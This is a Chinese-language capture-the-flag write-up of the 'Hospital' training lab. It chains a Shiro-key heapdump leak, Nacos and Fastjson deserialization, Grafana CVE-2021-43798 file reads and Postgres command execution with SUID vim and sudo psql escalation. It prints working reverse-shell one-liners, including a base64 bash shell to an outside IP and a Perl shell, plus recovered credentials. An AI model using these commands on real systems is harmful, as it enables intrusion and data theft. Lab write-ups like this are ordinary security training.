春秋云镜-Hospital

渗透

春秋云镜-Hospital

flag01

fscan开扫

存在heapdump的泄露,访问actuator/heapdump就可以了

image-20250304160754054

发现存在ShiroKey的泄露,直接打个内存马进去

1
2
3
4
5
6
7
8
9
❯ java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
......
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

===========================================
......

不知道为什么内存马一直注入不了,就直接弹shell了(但是这个方法弹完shell之后,shell断了想再打,环境就坏了,有点难崩,或者这里直接vshell上线,就不怕shell断开了。

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTYuMjM4LjIzMy41NS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}

image-20250304164258893

image-20250304163505345

flag读不到,看看suid

发现一个这个vim.basic。vim | GTFOBins,可以利用里面说到的方式提权,比如:/usr/bin/vim.basic -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

或者直接编辑flag也行

1
vim.basic /root/flag/flag01.txt

image-20250304163743662

flag01: flag{aebad7ef-a8e2-4964-9c72-52fdd5b9fd87}

flag02

扫一下内网

只有三台主机

172.30.12.5 外网(已拿下)

172.30.12.6 WORKGROUP\SERVER02

172.30.12.236 后台管理平台

没有域环境

172.30.12.6上有一个nacos服务,并且有一个认证绕过的漏洞,不过直接用nacos/nacos登录成功了,就没有用认证绕过增加用户来实现登录。

image-20250304174248009

可以利用Nacos Client Yaml反序列化漏洞拿权限。 先生成恶意jar包,这里的命令改成增加一个管理员用户,然后传到靶机里面,在靶机开一个web服务。

然后使用Nacos漏洞综合利用GUI工具](https://github.com/charonlight/NacosExploitGUI)触发漏洞。

image-20250304175451714

可以看到成功收到了请求(我偷偷上线了个vshell

image-20250304175502141

然后rdp上去拿flag

image-20250304175741877

flag02: flag{befe3e56-fe3f-45a3-b19e-f2230f48fc21}

flag03

然后我们看那个医院后台管理

image-20250304180113715

登录是用json传参的,结合题目fastjson进行测试可以知道的确是存在fastjson反序列化漏洞的。这里利用插件梭了amaz1ngday/fastjson-exp,但是是一点很烦,我的BP里面的socks代理用不了,只好给java挂上代理来解决

发现是root权限。(并且靶机不出网,本来想上线一下的,试一下给环境弄坏了,又要重来一遍

image-20250304181950873

并且靶机不出网,本来想上线vshell的,试一下给环境弄坏了,又要重来一遍,干

image-20250304182532534

写公钥,然后ssh进去读flag

image-20250304191259388

flag03: flag{66d61dee-2cf6-4322-bb74-d038ba65d87d}

flag04

发现里面还有一个网卡

image-20250304191328628

扫一下这个54的c段

发现有个Grafana,再配一层代理来访问内网

image-20250304192004512

然后我的proxifier的配置是这样的,这样不用配proxychain也能打内网

image-20250304195944174

这里是直接拿的hony师傅的,我没去爆

需要利用 CVE-2021-43798 漏洞获取到数据库文件(/var/lib/grafana/grafana.db)以及存在解密密钥的配置文件(/etc/grafana/grafana.ini),然后进行解密。

使用A-D-Team/grafanaExp 可以一键利用漏洞解密输出 data_souce 信息:

1
2
3
4
5
6
root@web03:~# ./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
2023/12/29 17:41:34 Target vulnerable has plugin [alertlist]
2023/12/29 17:41:34 Got secret_key [SW2YcwTIb9zpOOhoPsMm]
2023/12/29 17:41:34 There is [0] records in db.
2023/12/29 17:41:34 type:[postgres] name:[PostgreSQL] url:[localhost:5432] user:[postgres] password[Postgres@123]database:[postgres] basic_auth_user:[] basic_auth_password:[]
2023/12/29 17:41:34 All Done, have nice day!

得到postgres / Postgres@123

image-20250304192519165

这个版本可以创建system函数getshell

后面需要用psql提权,所以先改一下root密码

1
ALTER USER root WITH PASSWORD '123456';

创建命令执行函数

1
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/

反弹shell

1
select system('perl -e \'use Socket;$i="172.30.54.179";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

image-20250304193303539

image-20250304193419993

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

拿个tty,然后sudo -l发现一个psql可以无密码执行

image-20250304193352299

psql | 走开Bins查一下怎么利用

1
2
3
sudo /usr/local/postgresql/bin/psgl
\?
!/bin/sh

image-20250304193221002

现在就有root了,直接读flag

image-20250304193141051

flag04: flag{264ef1ca-6e89-444a-8b86-2b6aa0c3c278}

参考文章:

Hospital - 春秋云境 | h0ny’s blog

春秋云境-Hospital – fushulingのblog

【内网渗透】最保姆级的春秋云镜Hospital打靶笔记_云镜内网-CSDN博客

Gitalking ...